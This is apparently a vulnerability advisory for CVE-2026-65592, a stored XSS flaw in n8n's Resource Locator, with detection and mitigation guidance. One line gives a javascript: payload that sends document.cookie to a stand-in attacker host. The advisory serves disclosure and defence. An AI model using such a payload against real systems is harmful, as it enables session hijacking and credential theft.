CVE-2026-65592 Overview
CVE-2026-65592 is a stored DOM cross-site scripting (XSS) vulnerability in n8n, an open-source workflow automation platform. The flaw affects n8n versions before 1.123.64, 2.29.8, and 2.30.1. The vulnerability resides in the Resource Locator component, which passes the workflow-persisted cachedResultUrl parameter to window.open() without validating the URL scheme. Attackers with workflow creation or editing privileges can inject a javascript: scheme payload that executes when victims interact with the crafted workflow.
Critical Impact
Authenticated attackers can achieve arbitrary JavaScript execution in victim browsers, enabling session hijacking, credential theft, and workflow manipulation across the n8n tenant.
Affected Products
- n8n versions before 1.123.64
- n8n versions before 2.29.8
- n8n versions before 2.30.1
Discovery Timeline
- 2026-07-22 - CVE CVE-2026-65592 published to NVD
- 2026-07-22 - Last updated in NVD database
Technical Details for CVE-2026-65592
Vulnerability Analysis
The vulnerability is a stored DOM-based cross-site scripting flaw classified under [CWE-79]. The Resource Locator component in the n8n editor UI persists a cachedResultUrl value inside workflow definitions. When the editor renders external links tied to a workflow node, it passes this attacker-controlled string directly to window.open(). Because n8n does not validate the URL scheme before invocation, non-HTTP schemes such as javascript: are honored by the browser and evaluated in the origin of the n8n application.
Exploitation requires an authenticated attacker with permissions to create or edit workflows. The attacker embeds the malicious URL into a workflow, saves it, and then shares or waits for another user to open the workflow. When the victim clicks the affected external link, the payload runs with the victim's session context. This provides access to authentication cookies, workflow credentials exposed in the DOM, and any actions available to the victim's role.
Root Cause
The root cause is missing input validation on the cachedResultUrl property before it reaches window.open(). The component treats the persisted value as a trusted URL rather than untrusted data originating from workflow authors. No scheme allowlist restricts navigation to http: and https: targets.
Attack Vector
The attack vector is network-based and requires low privileges plus user interaction. An attacker crafts a workflow containing a payload such as javascript:fetch('//attacker/'+document.cookie) in the cachedResultUrl field. Once a victim opens the workflow and clicks the associated external link, the payload executes inside the n8n origin.
See the GitHub Security Advisory and the VulnCheck Advisory on XSS for additional technical details.
Detection Methods for CVE-2026-65592
Indicators of Compromise
- Workflow JSON definitions containing a cachedResultUrl field with a non-HTTP scheme such as javascript:, data:, or vbscript:.
- Outbound browser requests from n8n editor sessions to unexpected external hosts immediately after opening a workflow.
- Unexplained session token or credential access originating from n8n user browsers.
Detection Strategies
- Query the n8n workflow database for stored workflows where cachedResultUrl values do not begin with http:// or https://.
- Inspect browser Content Security Policy (CSP) violation reports for inline script executions inside the n8n origin.
- Audit workflow modification logs for edits made by low-privilege accounts that introduce URL fields.
Monitoring Recommendations
- Monitor n8n audit logs for workflow create and update events, especially from newly provisioned or shared accounts.
- Alert on anomalous outbound HTTP requests from user browsers to non-corporate domains shortly after n8n interaction.
- Track failed authentication or session reuse events that may indicate stolen tokens harvested via XSS.
How to Mitigate CVE-2026-65592
Immediate Actions Required
- Upgrade n8n to version 1.123.64, 2.29.8, 2.30.1, or later depending on the release branch in use.
- Review all existing workflows for cachedResultUrl values containing non-HTTP schemes and remove or sanitize them.
- Restrict workflow creation and editing privileges to trusted users until the upgrade is complete.
Patch Information
The n8n maintainers released fixes in versions 1.123.64, 2.29.8, and 2.30.1. Refer to the GitHub Security Advisory for the full patch notes and upgrade instructions.
Workarounds
- Limit access to workflow editing to a small set of trusted administrators via role-based access control.
- Deploy a strict Content Security Policy that forbids inline script execution in the n8n editor origin.
- Isolate the n8n editor behind a separate subdomain to reduce the impact of session cookie theft.
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
